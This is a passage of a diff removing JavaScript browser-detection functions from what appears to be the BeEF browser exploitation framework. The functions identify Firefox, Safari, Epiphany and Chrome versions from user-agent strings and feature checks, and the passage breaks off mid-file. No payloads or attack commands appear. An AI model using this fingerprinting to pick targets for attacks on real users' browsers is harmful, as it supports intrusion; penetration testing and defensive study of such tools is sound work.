- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/51./) != null;
- },
- /**
- * Returns true if FF52
- * @example: beef.browser.isFF52()
- */
- isFF52: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/52./) != null;
- },
- /**
- * Returns true if FF53
- * @example: beef.browser.isFF53()
- */
- isFF53: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/53./) != null;
- },
- /**
- * Returns true if FF54
- * @example: beef.browser.isFF54()
- */
- isFF54: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/54./) != null;
- },
- /**
- * Returns true if FF55
- * @example: beef.browser.isFF55()
- */
- isFF55: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/55./) != null;
- },
- /**
- * Returns true if FF56
- * @example: beef.browser.isFF56()
- */
- isFF56: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/56./) != null;
- },
- /**
- * Returns true if FF57
- * @example: beef.browser.isFF57()
- */
- isFF57: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/57./) != null;
- },
- /**
- * Returns true if FF58
- * @example: beef.browser.isFF58()
- */
- isFF58: function () {
- return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/58./) != null;
- },
- /**
- * Returns true if FF.
- * @example: beef.browser.isFF()
- */
- isFF: function () {
- return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53() || this.isFF54() || this.isFF55() || this.isFF56() || this.isFF57() || this.isFF58();
- },
- /**
- * Returns true if Safari 4.xx
- * @example: beef.browser.isS4()
- */
- isS4: function () {
- return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/4/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
- },
- /**
- * Returns true if Safari 5.xx
- * @example: beef.browser.isS5()
- */
- isS5: function () {
- return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/5/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
- },
- /**
- * Returns true if Safari 6.xx
- * @example: beef.browser.isS6()
- */
- isS6: function () {
- return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/6/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
- },
- /**
- * Returns true if Safari 7.xx
- * @example: beef.browser.isS7()
- */
- isS7: function () {
- return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/7/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
- },
- /**
- * Returns true if Safari 8.xx
- * @example: beef.browser.isS8()
- */
- isS8: function () {
- return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/8/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
- },
- /**
- * Returns true if Safari.
- * @example: beef.browser.isS()
- */
- isS: function () {
- return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8();
- },
- /**
- * Returns true if Webkit based
- *
- * **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions.
- */
- isWebKitBased: function () {
- return (!window.opera && !window.chrome
- && window.navigator.userAgent.match(/ Version\/\d/) != null
- && !window.globalStorage
- && !!window.getComputedStyle
- && !("MozWebSocket" in window));
- },
- /**
- * Return true if Epiphany
- * @example: beef.browser.isEpi()
- */
- isEpi: function () {
- // Epiphany is based on webkit
- // due to the uncertainty of webkit version vs Epiphany versions tracking.
- // -- do webkit based checking (i.e. do safari checks)
- return this.isWebKitBased() && window.navigator.userAgent.match(/Epiphany\//) != null;
- },
- /**
- * Returns true if Chrome 5.
- * @example: beef.browser.isC5()
- */
- isC5: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 5) ? true : false);
- },
- /**
- * Returns true if Chrome 6.
- * @example: beef.browser.isC6()
- */
- isC6: function () {
- return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 6) ? true : false);
- },
- /**
- * Returns true if Chrome 7.
- * @example: beef.browser.isC7()
- */
- isC7: function () {
- return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 7) ? true : false);
- },
- /**
- * Returns true if Chrome 8.
- * @example: beef.browser.isC8()
- */
- isC8: function () {
- return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 8) ? true : false);
- },
- /**
- * Returns true if Chrome 9.
- * @example: beef.browser.isC9()
- */
- isC9: function () {
- return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 9) ? true : false);
- },
- /**
- * Returns true if Chrome 10.
- * @example: beef.browser.isC10()
- */
- isC10: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 10) ? true : false);
- },
- /**
- * Returns true if Chrome 11.
- * @example: beef.browser.isC11()
- */
- isC11: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 11) ? true : false);
- },
- /**
- * Returns true if Chrome 12.
- * @example: beef.browser.isC12()
- */
- isC12: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 12) ? true : false);
- },
- /**
- * Returns true if Chrome 13.
- * @example: beef.browser.isC13()
- */
- isC13: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 13) ? true : false);
- },
- /**
- * Returns true if Chrome 14.
- * @example: beef.browser.isC14()
- */
- isC14: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 14) ? true : false);
- },
- /**
- * Returns true if Chrome 15.
- * @example: beef.browser.isC15()
- */
- isC15: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 15) ? true : false);
- },
- /**
- * Returns true if Chrome 16.
- * @example: beef.browser.isC16()
- */
- isC16: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 16) ? true : false);
- },
- /**
- * Returns true if Chrome 17.
- * @example: beef.browser.isC17()
- */
- isC17: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 17) ? true : false);
- },
- /**
- * Returns true if Chrome 18.
- * @example: beef.browser.isC18()
- */
- isC18: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 18) ? true : false);
- },
- /**
- * Returns true if Chrome 19.
- * @example: beef.browser.isC19()
- */
- isC19: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 19) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 19.
- * @example: beef.browser.isC19iOS()
- */
- isC19iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 19) ? true : false);
- },
- /**
- * Returns true if Chrome 20.
- * @example: beef.browser.isC20()
- */
- isC20: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 20) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 20.
- * @example: beef.browser.isC20iOS()
- */
- isC20iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 20) ? true : false);
- },
- /**
- * Returns true if Chrome 21.
- * @example: beef.browser.isC21()
- */
- isC21: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 21) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 21.
- * @example: beef.browser.isC21iOS()
- */
- isC21iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 21) ? true : false);
- },
- /**
- * Returns true if Chrome 22.
- * @example: beef.browser.isC22()
- */
- isC22: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 22) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 22.
- * @example: beef.browser.isC22iOS()
- */
- isC22iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 22) ? true : false);
- },
- /**
- * Returns true if Chrome 23.
- * @example: beef.browser.isC23()
- */
- isC23: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 23) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 23.
- * @example: beef.browser.isC23iOS()
- */
- isC23iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 23) ? true : false);
- },
- /**
- * Returns true if Chrome 24.
- * @example: beef.browser.isC24()
- */
- isC24: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 24) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 24.
- * @example: beef.browser.isC24iOS()
- */
- isC24iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 24) ? true : false);
- },
- /**
- * Returns true if Chrome 25.
- * @example: beef.browser.isC25()
- */
- isC25: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 25) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 25.
- * @example: beef.browser.isC25iOS()
- */
- isC25iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 25) ? true : false);
- },
- /**
- * Returns true if Chrome 26.
- * @example: beef.browser.isC26()
- */
- isC26: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 26) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 26.
- * @example: beef.browser.isC26iOS()
- */
- isC26iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 26) ? true : false);
- },
- /**
- * Returns true if Chrome 27.
- * @example: beef.browser.isC27()
- */
- isC27: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 27) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 27.
- * @example: beef.browser.isC27iOS()
- */
- isC27iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 27) ? true : false);
- },
- /**
- * Returns true if Chrome 28.
- * @example: beef.browser.isC28()
- */
- isC28: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 28) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 28.
- * @example: beef.browser.isC28iOS()
- */
- isC28iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 28) ? true : false);
- },
- /**
- * Returns true if Chrome 29.
- * @example: beef.browser.isC29()
- */
- isC29: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 29) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 29.
- * @example: beef.browser.isC29iOS()
- */
- isC29iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 29) ? true : false);
- },
- /**
- * Returns true if Chrome 30.
- * @example: beef.browser.isC30()
- */
- isC30: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 30) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 30.
- * @example: beef.browser.isC30iOS()
- */
- isC30iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 30) ? true : false);
- },
- /**
- * Returns true if Chrome 31.
- * @example: beef.browser.isC31()
- */
- isC31: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 31) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 31.
- * @example: beef.browser.isC31iOS()
- */
- isC31iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false);
- },
- /**
- * Returns true if Chrome 32.
- * @example: beef.browser.isC32()
- */
- isC32: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 32) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 32.
- * @example: beef.browser.isC32iOS()
- */
- isC32iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 32) ? true : false);
- },
- /**
- * Returns true if Chrome 33.
- * @example: beef.browser.isC33()
- */
- isC33: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 33) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 33.
- * @example: beef.browser.isC33iOS()
- */
- isC33iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 33) ? true : false);
- },
- /**
- * Returns true if Chrome 34.
- * @example: beef.browser.isC34()
- */
- isC34: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 34) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 34.
- * @example: beef.browser.isC34iOS()
- */
- isC34iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 34) ? true : false);
- },
- /**
- * Returns true if Chrome 35.
- * @example: beef.browser.isC35()
- */
- isC35: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 35) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 35.
- * @example: beef.browser.isC35iOS()
- */
- isC35iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 35) ? true : false);
- },
- /**
- * Returns true if Chrome 36.
- * @example: beef.browser.isC36()
- */
- isC36: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 36) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 36.
- * @example: beef.browser.isC36iOS()
- */
- isC36iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 36) ? true : false);
- },
- /**
- * Returns true if Chrome 37.
- * @example: beef.browser.isC37()
- */
- isC37: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 37) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 37.
- * @example: beef.browser.isC37iOS()
- */
- isC37iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 37) ? true : false);
- },
- /**
- * Returns true if Chrome 38.
- * @example: beef.browser.isC38()
- */
- isC38: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 38) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 38.
- * @example: beef.browser.isC38iOS()
- */
- isC38iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 38) ? true : false);
- },
- /**
- * Returns true if Chrome 39.
- * @example: beef.browser.isC39()
- */
- isC39: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 39) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 39.
- * @example: beef.browser.isC39iOS()
- */
- isC39iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 39) ? true : false);
- },
- /**
- * Returns true if Chrome 40.
- * @example: beef.browser.isC40()
- */
- isC40: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 40) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 40.
- * @example: beef.browser.isC40iOS()
- */
- isC40iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 40) ? true : false);
- },
- /**
- * Returns true if Chrome 41.
- * @example: beef.browser.isC41()
- */
- isC41: function () {
- return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 41) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 41.
- * @example: beef.browser.isC41iOS()
- */
- isC41iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 41) ? true : false);
- },
- /**
- * Returns true if Chrome 42.
- * @example: beef.browser.isC42()
- */
- isC42: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 42) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 42.
- * @example: beef.browser.isC42iOS()
- */
- isC42iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 42) ? true : false);
- },
- /**
- * Returns true if Chrome 43.
- * @example: beef.browser.isC43()
- */
- isC43: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 43) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 43.
- * @example: beef.browser.isC43iOS()
- */
- isC43iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 43) ? true : false);
- },
- /**
- * Returns true if Chrome 44.
- * @example: beef.browser.isC44()
- */
- isC44: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 44) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 44.
- * @example: beef.browser.isC44iOS()
- */
- isC44iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 44) ? true : false);
- },
- /**
- * Returns true if Chrome 45.
- * @example: beef.browser.isC45()
- */
- isC45: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 45) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 45.
- * @example: beef.browser.isC45iOS()
- */
- isC45iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 45) ? true : false);
- },
- /**
- * Returns true if Chrome 46.
- * @example: beef.browser.isC46()
- */
- isC46: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 46) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 46.
- * @example: beef.browser.isC46iOS()
- */
- isC46iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 46) ? true : false);
- },
- /**
- * Returns true if Chrome 47.
- * @example: beef.browser.isC47()
- */
- isC47: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 47) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 47.
- * @example: beef.browser.isC47iOS()
- */
- isC47iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 47) ? true : false);
- },
- /**
- * Returns true if Chrome 48.
- * @example: beef.browser.isC48()
- */
- isC48: function () {
- return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 48) ? true : false);
- },
- /**
- * Returns true if Chrome for iOS 48.
- * @example: beef.browser.isC48iOS()
- */
- isC48iOS: function () {
- return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 48) ? true : false);
- },
- /**
- * Returns true if Chrome 49.
- * @example: beef.browser.isC49()
- */
- isC49: function () {
